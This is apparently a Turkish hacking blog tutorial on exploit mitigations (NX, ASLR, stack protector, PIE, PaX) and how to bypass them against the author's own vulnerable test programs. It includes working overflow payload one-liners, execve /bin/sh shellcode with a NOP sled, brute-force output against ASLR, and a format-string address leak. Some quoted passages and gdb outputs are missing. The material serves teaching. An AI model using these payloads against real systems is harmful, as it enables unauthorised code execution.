Shellcode tamam, fuzzing tamam, exploit de tamam olduğuna göre sıra geldi kapatarak kurtulduğumuz korumaları ve nasıl atlatabildiğimiz öğrenmeye diyor ve başlıklara geçiyorum:
Uzun yıllar evvel programcılar buffer overflow gibi zaafiyetleri anlamamakta ısrar ederkene heykır kardeşlerimiz mutlu mesut hayatlarına devam ediyordu.Taa ki Exec Shield isminde bir yama uygulanana kadar.Bu yama ile linux işletim sisteminde data bölümü, bizim meşhur stack çöplüğümüz gibi, non-executable yani çalıştırılamaz olarak işaretlenmeye başlandı.Böylece sorunu kökünden çözdüklerini düşünüyorlardı [Neredeee ?!].İşte bahsettiğimiz bu önlemin adı, müsadenizle tanıştırayım NX yani never execute yaniyani hiçbirzamançalıştırma olarak kondu.Başlarda yazılım ile sağlanan bu koruma ilerleyen yıllarda donanıma yani işlemciye aktarıldı.Bahsettiğimiz bu önlemin birçok ismi mevcut.Mesela Intel bu korumaya XD yani execute disable derken, ARM ise XN yani execute never demeyi uygun gördü.Anlayacağınız Volskwagenin TDI dediğine Opelin DTI demesi gibi birşey.Bir de Maykrosoft amca benim neyim eksik diyerek DEP yani Data Execution Prevention gibi farklı bir isim icat etti.
İsimleri öğrendiğimize göre tekrar icraat vakti diyor ve bu NX neyin fesidir anlamak için en baba yöntem, örneklendirmeye gidiyoruz.Önceki yazılarda kullandığımız selam isimli programımızı kobay faresi olarak belirleyip hem NX koruması varken hem de devredışı bırakarak derleyelim:
ka@ka-vm ~/protect $ gcc selam.c -o selam_varnx
ka@ka-vm ~/protect $ gcc selam.c -fno-stack-protector -z execstack -o selam_yoknx
ka@ka-vm ~/protect $ ls
selam.c selam_varnx selam_yoknx
[Pardon şeettirebilir miyim?]
ka@ka-vm ~/protect $ execstack -q selam_varnx
- selam_varnx [Şeettiremezin!]
ka@ka-vm ~/protect $ execstack -q selam_yoknx
X selam_yoknx [Her türlü!]
Görüldüğü üzere execstack komutu ile NX korumasını sorguluyabiliyoruz.Tahmin edersiniz ki güncel yazılımların tamamı NX ile korunuyor ve bu korumayı aşmadan yapabileceğiniz tek şey hayal kurmak.Nasıl atlattığımızı anlatmadan biraz daha detayına inelim, mesela execstack bu bilgileri nereden alıyor?
ka@ka-vm ~/protect $ objdump -x selam_varnx |grep STACK -A 1
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw- [Sadece oku yaz]
ka@ka-vm ~/protect $ objdump -x selam_yoknx |grep STACK -A 1
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx [Oku,yaz ve çalıştır]
Programların nüfus cüzdanı gibi nitelendirebileceğimiz headers yani başlıkları var ve bu başlıklardan stack kısmına baktığımızda NX koruması aktif olan programın stack bölümünde sadece okuyup yazabildiğimizi, NX koruması olmayanda ise ne istersek yapabildiğimizi görebiliyoruz. Hemen aklınıza değiştiriverelim şu başlığı olsun bitsin gibi bir fikir geldiyse bu örnek sizlere gelsin:
ka@ka-vm ~/protect $ objdump -x /bin/ls |grep STACK -A 1
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw-
ka@ka-vm ~/protect $ ls -al /bin/ls
-rwxr-xr-x 1 root root 108612 Oct 1 2012 /bin/ls
ka@ka-vm ~/protect $ execstack -s /bin/ls
execstack: Could not set /bin/ls owner or mode: Operation not permitted
Malesef yine boyumuz kısa kaldı,en basitinden bir ls programına bile el atmanıza izin yok.Okursun calıştırırsın ama değişiklik yapamazsın canım benim mesajını alıyoruz.Hele remote saldırılarda hepten işimiz yaş diyor, nasıl atlattığımızı bir sonraki başlığa bırakıp şimdi de diğer bir korumamıza geçiyoruz.
Mutlu mesut hayatları NX sebebiyle ağır darbe alan heykır kardeşler, bir sonraki başlıkta anlatacağımız yöntemle bu dertten de kurtulunca parlak fikir sahibi bir divelopır arkadaş şöyle bir ampül yakıverdi; "Gelin biz bu adresleri dansöze çevirelim, her seferinde değişirse bu işi kökten çözmüş oluruz!" Yeni bir koruma sistemi geliştirmişler ve müsadenizle tanıştırıyorum, karşımızda ASLR yani Address Space Layout Randomization yaniyani adresleme bölümü düzenlemesini rastgele hale getir gibi birşey.Konunun anlaşılması için bir önceki yazıda verdiğimiz örneği tekrarlayalım:
ka@ka-vm ~/protect $ ./env_adresi SHELL ./selam_yoknx
SHELL adresi: 0xbfa9dbfc
ka@ka-vm ~/protect $ ./env_adresi SHELL ./selam_yoknx
SHELL adresi: 0xbf880bfc
ka@ka-vm ~/protect $ ./env_adresi SHELL ./selam_yoknx
SHELL adresi: 0xbf990bfc
Her seferinde farklı değerleri gören heykır kardeşler, alkolü fazla kaçırmadıklarına göre acı gerçekle karşılaştılar.Artık işleri daha da zordu [ama imkansız değil].Aldığımız adres değerleriyle ilgili ilginç bir noktaya parmak basmak istiyorum.Değerler değişmesine rağmen bazı kısımlar halen aynı kalıyor.Aldığım üç değerin hepsinde şöyle bir ortak nokta mevcut 0xbf---bfc, eee nolmuş yani diyenlere bknz bruteforce diyor, detaylar sonra diyerek incelemize devam ediyoruz.
Mevcut sistemde ASLR korumasının aktif olup olmadığını sorgulayıp,yetkimiz varsa değiştirebiliyoruz. Bakalım Mint 14 hangi değerle çalışıyor:
ka@ka-vm ~/protect $ cat /proc/sys/kernel/randomize_va_space
2
ka@ka-vm ~/protect $ echo 0 >/proc/sys/kernel/randomize_va_space
bash: /proc/sys/kernel/randomize_va_space: Permission denied
Değerleri değiştirmek için root haklarına sahip olmamız gerekiyormuş [yok yawww] ve mevcut durumumuz iki imiş.Peki bu sıfır,bir ve iki ne manaya geliyor,onu açıklayalım.Sıfır kapalı yani buyurkeyfinebak modu, bir açık yani güvendesiniz demek, iki ise full+full sahibinden çok temiz yani paranoyak seviyesinde güvendesiniz demek [miii acabaaa?].
Şimdi de ASLRnin derinlerine inip konuyu kavrayıp,hemen arkasından yeter bu kadar dırdır deyip bir sonraki başlığımızda icraatlarımıza başlayalım.İlk sorumuz şu, ASLR neleri rastgele hale getiriyor,örnek bir programla görelim:
ka@ka-vm ~/protect $ ldd selam_varnx
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7575000)
ka@ka-vm ~/protect $ ldd selam_varnx
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75f8000)
ka@ka-vm ~/protect $ gdb -q selam_varnx
Reading symbols from /home/ka/protect/selam_varnx...(no debugging symbols found)...done.
gdb-peda$ b _start
Breakpoint 1 at 0x80483d0
ka@ka-vm ~/protect $ gdb -q selam_varnx
Reading symbols from /home/ka/protect/selam_varnx...(no debugging symbols found)...done.
gdb-peda$ b _start
Breakpoint 1 at 0x80483d0
Örneklerden anladığımız üzere stack ve kütüphaneler değişirken programın text bölümü sabit kalıyor.ASLR korumasını atlatabilmek için üç seçeneğimiz var; ya çok şanslı bir günümüzde olucaz ya statik orası burası oynamayan birşeyler bulucaz ya da adres bilgisini program bize kendi vericek,Format string olayında olduğu gibi.Benim iddiam değil bunlar, Google'ın ünlü güvenlikçilerinden Tavis Ormandy öyle diyor:
Anlattığımız bu korumaların haricinde başka korumalar da mevcut fakat onları yeri geldikçe anlatıcaz deyip icraata geçiyoruz.
Hedefimizde yine zaafiyet içeren bir program var fakat bu sefer NX ve ASLR korumalarını kapatmadan nasıl sömürebileceğimizi inceliyoruz. Shellcode kullanamıyoruz,kullansak da adresi sürekli değişiyor peki bu durumda ihtiyacımız olan komutları nereden bulacağız? Tabii ki programın içinden [nası yanii?]
Bizim gariban selam programını birazcık geliştirip içine eklemeler yapalım.Bizim süperakıllı programcımız sakla samanı gelir zamanı mantığıyla programın içerisine yerleştirdiği önemli(!) fonksiyonları hedef alıyoruz.Örneklendirip görelim:
ka@ka-vm ~/protect $ cat selam_rop.c
...
void sakla_zamani(void)
{
printf("Elbet bir gun lazim olur\n");
system("/bin/sh");
}
...
ka@ka-vm ~/protect $ gcc selam_rop.c -o selam_rop [Korumalar aktif!]
ka@ka-vm ~/protect $ ./selam_rop kenan
Salam kenan
Tamam sakla_zamani fonksiyonu kuzu pirzola gibi duruyor orada çalıştırmamız için adresini öğrenip atlama adresimiz olarak onu göstericez [yerseee]
ka@ka-vm ~/protect $ gdb -q selam_rop
Reading symbols from /home/ka/protect/selam_rop...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x804853f
gdb-peda$ run
Starting program: /home/ka/protect/selam_rop
...
gdb-peda$ print sakla_zamani
$1 = {
ka@ka-vm ~/protect $ ./selam_rop $(python -c 'print "A"*52 + "\x1c\x85\x04\x08"')
Salam AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
*** stack smashing detected ***: ./selam_rop terminated
Aborted
Hoppalaaa hani atlatıyorduk bu korumaları, nereden çıktı bu bol yıldızlı uyarı mesajı diyenlere azıcık yukarıda yaptığımız başka korumalar da var uyarısını hatırlatmak isterim.Karşımızda derleyicimiz gcc'ye ait stack tokatlanmayacak arkadaş koruması duruyor.Bizim derdimiz seninle değil,NX ve ASLR ile deyip denememizi tekrar yapalım:
ka@ka-vm ~/protect $ gcc selam_rop.c -fno-stack-protector -o selam_ropnsp
[NX ve ASLR kontrol]
ka@ka-vm ~/protect $ objdump -x selam_ropnsp |grep STACK -A 1
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw- [NX devrede]
ka@ka-vm ~/protect $ cat /proc/sys/kernel/randomize_va_space
2 [ASLR paranoyak modda]
gdb-peda$ print sakla_zamani
$1 = {
ka@ka-vm ~/protect $ ./selam_ropnsp $(python -c 'print "A"*52 + "\xcc\x84\x04\x08"')
Salam AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAĀ
Elbet bir gun lazim olur
$
Programın içerisinde veya kullandığı kütüphanelerde bulunan mevcut komutları kullandığımız bu yönteme ROP yani Return Oriented Programming yaniyani illadöneceksenprogramınkendinedön yöntemi diyebiliriz.Unutmayın NX yüzünden shellcode kullanamıyorduk, yani çalıştıracağımız her komut zaten bizi bekliyor olmalı! [devammm]
Tavis gurbann,find something static yani dötübaşırahatduranbirşeylerbul kısmı tamamdır.Şimdi gelelim şanslı günümüzde olmaya.Bunun için yukarıda değindiğimiz bazı detayları hatırlayalım.Mesela ASLR sadece 12 bitlik kısmı [0xbf---bfc tire olan kısımları] rastgele hale getiriyor demiştik.Toplamda 4096 [aslında 4080] farklı adres olabilir, program her çalıştığında değişen bu adresi tahmin edebilecek kapasitemiz de olmadığına göre şans miktarımızı attırıyoruz:
[25.000 byte hormon basıyoruz shellcodemuza]
ka@ka-vm ~/protect $ export shellcode=$(python -c 'print "\x90"*25000 +
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"')
[Dansöz adresimizi öğrenelim]
ka@ka-vm ~/protect $ ./env_adresi shellcode ./selam_yoknx
shellcode adresi: 0xbfb2cc66
ka@ka-vm ~/protect $ ./env_adresi shellcode ./selam_yoknx
shellcode adresi: 0xbfa7dc66
[Bruteforce exploitimizi ateşliyoruz]
ka@ka-vm ~/protect $ ./bfexp.py
[*] ASLR Bruteforce Exploit [*]
-------------------------------
[*] 25025 byte shellcode mevcut [*]
[-] Bruteforce yapılacak adresi girin: 0xbfa7dc66
Denenen adres : \x66\xbc\x98\xbf
Deneme sayisi :2428
Salam AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf���
$
Bugün pek şanslı olduğumuzu söylemesek de 2428inci denemede bammmmm efektiyle ASLR korumasını aşmış bulunuyoruz sevgili seyirciler.Böyle kuru kuru okumakla pek zevkli olmuyor diyenleri yazı için hazırlanan videodaki aksiyon sahnelerine davet edip şimdi de Tavis gurbanın son seçeneği olan adres bilgisi sızıntısına örnek verelim.
Bir önceki yazımızda kullandığımız remote exploit bu örneğimiz için biçilmiş kaftan durumda.Programın içerisinde bulunan format string zaafiyeti saldırgan olan bize adres bilgisini gümüş tepsi içinde sunmaktadır.Yani sistemi koruduğu sanılan ASLR, yine bizim masum programcının basit hatasıyla alt üst edilmiş oldu. Yapıştıralım bir örnek ve bir sonraki başlığımıza zıplayalım:
ka@ka-vm ~/srv $ cat /proc/sys/kernel/randomize_va_space
2 [ASLR açık ne güzel koruyor bizi!]
ka@ka-vm ~/srv $ ./servir 4444
./servir: waiting for connection on TCP port 4444
ka@ka-vm ~ $ nc localhost 4444
Type QUIT on a line by itself to quit
p%p%
0x40xbfa9760c [Gitti güzelim ASLR]
Örneklerden gördüğümüz üzere koruma[yan]lar, yöntemi bulununca tamamen atlatılabiliyor. Korumaların hepsi bu kadar mı diyenleri bir sonraki başlığımıza alıyoruz.
Heykır kardeşler önlerine çıkan her engeli aşmakta pek maharetli olunca doğal olarak yeni korumalar yerini almaya başladı.Yerini almaya başladı diyorum çünkü bazıları daha tam olarak kullanılmaya başlanmadı bile.İlk vereceğimiz örnek PIE yani Position Independent Executable yaniyani herpozisyonavarımabi koruması.NX ve ASLR ilk verdiğimiz örnekte atlatılınca, neydi sebebi [len az önce okudun yaa], demişler ki dansöz olmayan kalmayacak ve sonucu örneğimizde hep beraber görelim:
[PIE özelliğini siz belirteceksiniz, işletim sistemi karışmaz]
ka@ka-vm ~/protect $ gcc -fPIE -pie selam_rop.c -o dansozselam
ka@ka-vm ~/protect $ gdb -q dansozselam
Reading symbols from /home/ka/protect/dansozselam...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x758
gdb-peda$ run
Starting program: /home/ka/protect/dansozselam
gdb-peda$ print sakla_zamani
$1 = {
[Halbuki PIE yokken ne güzel alıyorduk adresi]
gdb-peda$ print sakla_zamani
$1 = {
Peki neden tam olarak yerleşmedi demiştik, çünkü an itibariyle PIE korumasını kullanan program sayısı sadece %15 seviyelerinde.Yani kullanmayan birçok program mevcut.Sebebi hikmeti nedir derseniz, PIE özelliği diğer korumalarda olduğu gibi, ekstra yük demek, daha fazla işlemci daha fazla RAM demek.Daha da yok mu diyenler için şimdi de diğer bir korumamıza geçelim.
Verdiğimiz örneklerde şansımızı arttırabildiğimiz bir bruteforce olayımız vardı.Sen bruteforce yaparsın da önlem almazlar mı hiç diyerek sizi PaX korumasıyla tanıştırayım.Aslında PaX genel olarak birçok koruma sağlayarak işletim sisteminizi çok daha güvenli hale getiren bir paket diyebiliriz.Peki bu PaX abi bizim bruteforceda işimizi nasıl zorlaştırıyor?
Mevcut ASLR sadece 12 bit [anlayacağınız 3 harf] değiştirirken PaX gardaş bu işi azıcık abartıp 24 bite çıkartabiliyor.Doğal olarak işlem süresi uzuyor ve zorlaşıyor.Bu arada siz çatır çatır ASLR ile uğraşırken meşhur olduğunuzu da unutmayın [aaa kameralar nerede].
ka@ka-vm ~/protect $ dmesg |tail -n 5
[ 8493.853344] selam_yoknx[12824]: segfault at bfeccc66 ip bfeccc66 sp bf950ab0 error 14
[ 8493.866799] selam_yoknx[12826]: segfault at bfecdc66 ip bfecdc66 sp bfc61950 error 14
[ 8493.882651] selam_yoknx[12828]: segfault at bfecec66 ip bfecec66 sp bfb54640 error 14
[ 8493.895761] selam_yoknx[12830]: segfault at bfecfc66 ip bfecfc66 sp bfda1450 error 14
[ 8493.909177] selam_yoknx[12832]: segfault at bfed0c66 ip bfed0c66 sp bf8606e0 error 14
Bitti bu kadar demek isterdim amma velakin bir korumamız daha var.Bazı programlar kullanıcıdan aldığı dosyalarla işlem yapar, örnek vermek gerekirse Maykrosoft amcanın Wordü gibi,Mozillanın Firefoxu gibi.Yalnız bu akıllı programlar işleme alacakları dosyaları sağa sola bırakmaz,önce kendilerine ait sandbox yani kumhavuzuna gönderir, aralarında yaramaz çocuk varsa sen kumda oynamaya devam et, işletim sistemini bırkalamak yok derler.
Bu programları hedef alacaksanız, önce bu kumhavuzundan kurtulmayı başarmanız lazım.Yani bulmanız gereken zaafiyet sayısına bir ilave ediyoruz.Kaç tane koruma saydık, ne kadar güvenliymiş bizim bu bilgisayarlar diyen arkadaşlara bir sonraki başlığımızdaki detayları dikkatli okumalarını tavsiye edip yazımızı bitirelim.
Çok güvendeyiz arkadaşlar, antivirüsler, işletim sistemi korumaları, ekstralar derken herhalde bu heykırlık macerası bitiyor mu ne der gibi olsak da olan biten tek şey exploit fiyatlarının artması oluyor.Eskiden basit bir zaafiyet, sistemi ele geçirmenize yetiyorken, artık üç beş tanesini bir araya getirmek zorundasınız. Talebin olduğu her yerde arzın da olacağını bildiğimize göre exploitler kralı VUPEN bu işe ne diyor bakalım:
Kısaca tercüme edersek, yok anasının nikahı bir Internet Explorer exploiti beşyüzbin gayme yapar mı, bu fiyatı vereni resmen düdüklüyor, siz bana gelin acıtmıcam söz diyor kendileri. Korumalar artıyor, bulmak zorlaşıyor ve sonucunda fiyatlar da uçup gidiyor.Bir exploit için yaklaşık 1.000.000 TL [bir milyon] gayet güzel para!
Anlattığımız her korumanın sayfalarca okunacak detayı var.Bilinen yöntemler için önlemler alındığına göre, ben bu işi yapıcam arkadaş, diyen siz heykıradayı okuyucularıma tavsiyem işletim sistemini artıııı önceki zaafiyetleri artııı bilinen atlatma yöntemlerini adınız gibi bilmeniz gerekiyor.Aynı durum benim için de geçerli ve pek kolay olduğunu söyleyemeyeceğim.
Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.
Bruteforce yaptığımız python exploitini bu adresten indirebilirsiniz.